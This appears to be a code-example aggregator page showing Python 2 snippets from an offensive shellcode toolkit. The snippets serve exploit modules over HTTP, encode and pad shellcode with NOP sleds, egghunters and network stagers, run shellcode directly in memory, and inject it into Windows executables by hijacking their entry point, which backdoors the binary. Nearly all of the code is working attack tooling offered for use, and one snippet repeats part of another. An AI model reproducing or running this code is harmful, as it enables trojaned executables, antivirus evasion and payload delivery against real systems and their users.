Esempio n. 1
0
def main():
    res = arguments()
    try:
        exploit_code = importlib.import_module('exploits.' +
                                               res.EXPLOIT_NAME).code

        @route('{}'.format(res.URL))
        def exploit():
            return exploit_code

        logs.good('Started serving {} on {}:{}{} ...'.format(
            logs.bold(logs.purple(res.EXPLOIT_NAME)), res.HOSTNAME, res.PORT,
            res.URL))
        print '\n'
        run(host=res.HOSTNAME, port=res.PORT, debug=res.DEBUG)
    except TypeError:
        pass
    except ImportError:
        logs.err('No such exploit')
Esempio n. 2
0
        def inject():
            class NotEnoughSize(Exception):
                pass

            exe_file = res.BINARY
            final_pe_file = '{}_injected'.format(res.BINARY)
            shellcode = scode
            pe = PE(exe_file)
            OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
            pe_sections = pe.get_section_by_rva(
                pe.OPTIONAL_HEADER.AddressOfEntryPoint)
            align = pe.OPTIONAL_HEADER.SectionAlignment
            what_left = (pe_sections.VirtualAddress +
                         pe_sections.Misc_VirtualSize
                         ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
            end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
            padd = align - (end_rva % align)
            e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
            scode_size = len(shellcode) + 7
            if padd < scode_size:
                summary.append(
                    logs.err('Not enough size for shellcode injection',
                             prnt=False))
            else:
                #logs.good('Found {} bytes of empty space'.format(padd))
                scode_end_off = e_offset
                scode_start_off = scode_end_off - scode_size
                pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(
                    scode_start_off)
                raw_pe_data = pe.write()
                jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
                pusha = '\x60'
                popa = '\x61'
                shellcode = '%s%s%s\xe9%s' % (pusha, shellcode, popa,
                                              pack('I', jmp_to & 0xffffffff))
                final_data = list(raw_pe_data)
                final_data[scode_start_off:scode_start_off +
                           len(shellcode)] = shellcode
                final_data = ''.join(final_data)
                raw_pe_data = final_data
                pe.close()
                new_file = open(final_pe_file, 'wb')
                new_file.write(raw_pe_data)
                new_file.close()
                summary.append(
                    logs.good('Succesfully injected shellcode', prnt=False))
Esempio n. 3
0
def main():
    res = arguments()
    scode = split_to_chunks(res.SHELLCODE.replace('x', ''),2)
    bits = '32'
    summary = []
    prim_length = len(scode)
    if res.ARCH == 'x64':
        bits = '64'
    try:
        scode = ''.join([binascii.unhexlify(op) for op in scode])
    except TypeError:
        raise WrongShellcodeFormat

    if res.REDUCE:
        opcodes = ''.join([binascii.hexlify(op) for op in scode])
        instrs = raw_disasm(opcodes, bits, res.PLATFORM).splitlines()
        new_instrs = []
        index = 0
        for i in instrs:
            if re.search('mov (.*), 0', i):
                reg = re.search('mov (.*), 0', i).group(1)
                new_instrs.append('xor {}, {}'.format(reg, reg))
            elif re.search('add (.*), 1', i):
                reg = re.search('add (.*), 1', i).group(1)
                new_instrs.append('inc {}'.format(reg))
            elif re.search('add (.*), 2', i):
                reg = re.search('add (.*), 2', i).group(1)
                new_instrs.append('inc {}, inc {}'.format(reg, reg))
            elif re.search('mov (.*), (.*)', i):
                dst = re.search('mov (.*), (.*)', i).group(1)
                src = re.search('mov (.*), (.*)', i).group(2)
                if src not in res.PRESERVE:
                    new_instrs.append('xchg {}, {}'.format(dst,src))
            else:
                new_instrs.append(i)
            index += 1
        scode = binascii.unhexlify(''.join([raw_asm(i, bits, res.PLATFORM) for i in new_instrs]))

    if res.APPEND:
        ops = ''
        instrs = ' '.join(res.APPEND).split('/')
        for i in instrs:
            ops += binascii.unhexlify(raw_asm(i, bits, res.PLATFORM))
        scode = scode + ops

    if res.PREPEND:
        ops = ''
        instrs = ' '.join(res.PREPEND).split('/')
        for i in instrs:
            ops += binascii.unhexlify(raw_asm(i, bits, res.PLATFORM))
        scode = ops + scode

    if res.FORK:
        if res.PLATFORM == 'linux':
            forks = {'x86':'\x31\xc0\x40\x40\xcd\x80',
                     'x64':'\x48\x31\xc0\x48\xff\xc0\x48\xff\xc0\xcd\x80'}
            scode = remove_badchars(forks[res.ARCH],res.BADCHARS) + scode
            summary.append(logs.good('Added fork syscall',prnt=False))
        else:
            summary.append(logs.err('Unable to add fork syscall: supported only for Linux',prnt=False))

    if res.EXIT:
        if res.PLATFORM == 'linux':
            exits = {'x86':'\x31\xc0\x40\x31\xdb\xcd\x80',
                     'x64':'\x48\x31\xc0\x48\xff\xc0\x48\x31\xdb\xcd\x80'}
            scode = scode + remove_badchars(exits[res.ARCH], res.BADCHARS)
            summary.append(logs.good('Added exit syscall', prnt=False)) 
        else:
            summary.append(logs.err('Unable to add exit syscall: supported only for Linux',prnt=False))

    if res.ENCODER:
        counter = 0
        try:   
            encoder = importlib.import_module('encoders.'+res.ENCODER).Encoder()
        except ImportError:
            raise WrongEncoderName
        if res.ARCH not in encoder.arch:
            raise NonCompatibleEncoder
        while counter < res.ITERATIONS:
            stub = encoder.encode(scode)[0]
            encoded = encoder.encode(scode)[1]
            scode = stub + encoded
            counter += 1
        encoded_len = len(scode) + len(stub)
        summary.append(logs.good('Encoded payload with {} encoder {} times'.format(encoder.name,res.ITERATIONS),prnt=False))
        #scode = scode.split()
        #print ''.join([binascii.hexlify(op) for op in scode])

    if res.BADCHARS:
        scode = remove_badchars(scode, res.BADCHARS)
        summary.append(logs.good('Removed badchars',prnt=False))

    if res.BINARY:
        def inject():
            class NotEnoughSize(Exception):
                pass

            exe_file = res.BINARY
            final_pe_file = '{}_injected'.format(res.BINARY)
            shellcode = scode
            pe = PE(exe_file)
            OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
            pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
            align = pe.OPTIONAL_HEADER.SectionAlignment
            what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
            end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
            padd = align - (end_rva % align)
            e_offset = pe.get_offset_from_rva(end_rva+padd) - 1
            scode_size = len(shellcode)+7
            if padd < scode_size:
                summary.append(logs.err('Not enough size for shellcode injection',prnt=False))
            else:
                #logs.good('Found {} bytes of empty space'.format(padd))
                scode_end_off = e_offset
                scode_start_off = scode_end_off - scode_size
                pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
                raw_pe_data = pe.write()
                jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
                pusha = '\x60'
                popa = '\x61'
                shellcode = '%s%s%s\xe9%s' % (pusha, shellcode, popa, pack('I', jmp_to & 0xffffffff))
                final_data = list(raw_pe_data)
                final_data[scode_start_off:scode_start_off+len(shellcode)] = shellcode
                final_data = ''.join(final_data)
                raw_pe_data = final_data
                pe.close()
                new_file = open(final_pe_file, 'wb')
                new_file.write(raw_pe_data)
                new_file.close()
                summary.append(logs.good('Succesfully injected shellcode',prnt=False))

        if res.PLATFORM == 'windows':
            try:
                inject()
            except PEFormatError:
                summary.append(logs.err('Unable to inject shellcode: executable is not Windows PE format',prnt=False))
        else:
            summary.append(logs.err('Unable to inject shellcode: supported only for Windows',prnt=False))

    if res.NOPS:
        nop_generator = eval('nops.{}'.format(res.ARCH))
        scode = nop_generator(res.NOPS, res.NON_CANONICAL) + scode
        summary.append(logs.good('Prepended shellcode with NOP instructions', prnt=False))

    if res.PADD:
        nop_generator = eval('nops.{}'.format(res.ARCH))
        nop = nop_generator(1, False)
        while len(scode) < res.PADD:
            scode += nop
        summary.append(logs.good('Padded shellcode with NOP instructions',prnt=False))

    if res.STAGER:
        stager_port = int_to_hex(res.STAGER_PORT, res.ENDIAN)
        stager = eval('stager_{}_{}'.format(res.PLATFORM, res.ARCH)).replace('PORT', stager_port)
        stager = remove_badchars(stager, res.BADCHARS)
        stager = '\\x' + '\\x'.join([binascii.hexlify(op) for op in stager])
        stager = '\n'.join(textwrap.wrap(stager, 32))
        if not res.PURE:
            print '\n{} ({} bytes):'.format(logs.purple(logs.bold('STAGER')), len(stager)/4)
            print stager

    if res.RUN:
        libc = CDLL('libc.so.6')
        sc = c_char_p(scode)
        size = len(scode)
        addr = c_void_p(libc.valloc(size))
        memmove(addr, sc, size)
        libc.mprotect(addr, size, 0x7)
        run = cast(addr, CFUNCTYPE(c_void_p))
        run()

    if res.NOP_INSERT:
        nop_generator = eval('nops.{}'.format(res.ARCH))
        nop = nop_generator(1, False)
        block_size = res.NOP_INSERT
        if len(scode)%block_size != 0:
            scode += nop
        scode = split_to_chunks(scode, block_size)
        scode = nop.join(scode)
        summary.append(logs.good('Inserted NOPs between every {} bytes of shellcode'.format(res.NOP_INSERT),prnt=False))

    if res.EGGHUNTER:
        clear_tag = res.TAG
        badchars = split_to_chunks(res.BADCHARS.replace('x', '').replace('//', ''),2)
        badchars = [binascii.unhexlify(op) for op in badchars]
        for badchar in badchars:
            while badchar in clear_tag:
                clear_tag = ''.join(random.choice(ascii_lowercase) for i in range(4))
        try:
            egg, modified_payload = eggs[res.EGGHUNTER][0](tag=clear_tag, payload=scode)
        except:
            raise WrongEgghunterName
        egg = remove_badchars(egg, res.BADCHARS)
        scode = modified_payload
        summary.append(logs.good('Added tag to shellcode',prnt=False))
        if res.APPEND_EGG:
            scode = egg + scode
            summary.append(logs.good('Appended egghunter to payload',prnt=False))
        else:    
            raw_egg = []
            egg_escaped = []
            for op in egg:
                raw_egg.append(binascii.hexlify(op))
            for op in raw_egg:
                egg_escaped.append('\\x'+op)
            egg = ''.join(egg_escaped)
            egg = '\n'.join(textwrap.wrap(egg, 32))
            if not res.PURE:
                print '\n{} ({} bytes):'.format(logs.purple(logs.bold('EGGHUNTER')), len(egg)/4)
                print egg


    if res.INFO:
        if not res.PURE:
            print '\n{}:'.format(logs.bold(logs.purple('INFO')))
            print '| Length: {}'.format(len(scode))
            nullbytes = scode.count('\x00')
            if nullbytes == 0:
                nullbytes = logs.green(nullbytes)
            else:
                nullbytes = logs.red(nullbytes)
            print '| Null bytes: {}'.format(nullbytes)
            print '| Nops: {}'.format(logs.purple(scode.count('\x90')))
            print '| Returns: {}'.format(scode.count('\xc3'))
            print '| Interrupts: {}'.format(logs.yellow(scode.count('\xcc')))
            print '| System calls: {}'.format(logs.bold(scode.count('\xcd\x80')))

    if res.PATTERN:
        def generate_pattern(length):
            digits='0123456789'
            pattern = ''
            for upper in ascii_uppercase:
                for lower in ascii_lowercase:
                    for digit in digits:
                        if len(pattern) < length:
                            pattern += upper+lower+digit
                        else:
                            pattern = pattern[:length]
            return pattern
        scode = generate_pattern(res.PATTERN) + scode
        summary.append(logs.good('Prepended shellcode with cyclic pattern',prnt=False))

    if not res.PURE:
        print '\n{}:'.format(logs.purple(logs.bold('SUMMARY')))
        for s in summary:
            print s

    if res.FORMAT:
        scode_len = len(scode)
        try:
            formatted = eval('wrappers.format_{}'.format(res.FORMAT))(scode)
        except AttributeError:
            raise WrongFormatName
        if res.OUTPUT:
            out_file = open(res.OUTPUT, 'w')
            out_file.write(formatted)
            out_file.close()
            summary.append(logs.good('Saved shellcode as {}'.format(res.OUTPUT), prnt=False))
        else:
            if not res.PURE:
                print '\n{} ({} bytes of shellcode):'.format(logs.purple(logs.bold('FINAL PAYLOAD')), scode_len)
            print formatted
Esempio n. 4
0
            formatted = eval('wrappers.format_{}'.format(res.FORMAT))(scode)
        except AttributeError:
            raise WrongFormatName
        if res.OUTPUT:
            out_file = open(res.OUTPUT, 'w')
            out_file.write(formatted)
            out_file.close()
            summary.append(logs.good('Saved shellcode as {}'.format(res.OUTPUT), prnt=False))
        else:
            if not res.PURE:
                print '\n{} ({} bytes of shellcode):'.format(logs.purple(logs.bold('FINAL PAYLOAD')), scode_len)
            print formatted

    

if __name__ == '__main__':
    res = arguments()
    if not res.LIST:
        try:
            main()
        except WrongShellcodeFormat:
            logs.err('Wrong shellcode format on input')
        except WrongFormatName:
            logs.err('Wrong output format name')
        except WrongEgghunterName:
            logs.err('Wrong egghunter name')
        except WrongEncoderName:
            logs.err('Wrong encoder name')
        except NonCompatibleEncoder:
            logs.err('Encoder not compatible with current architecture')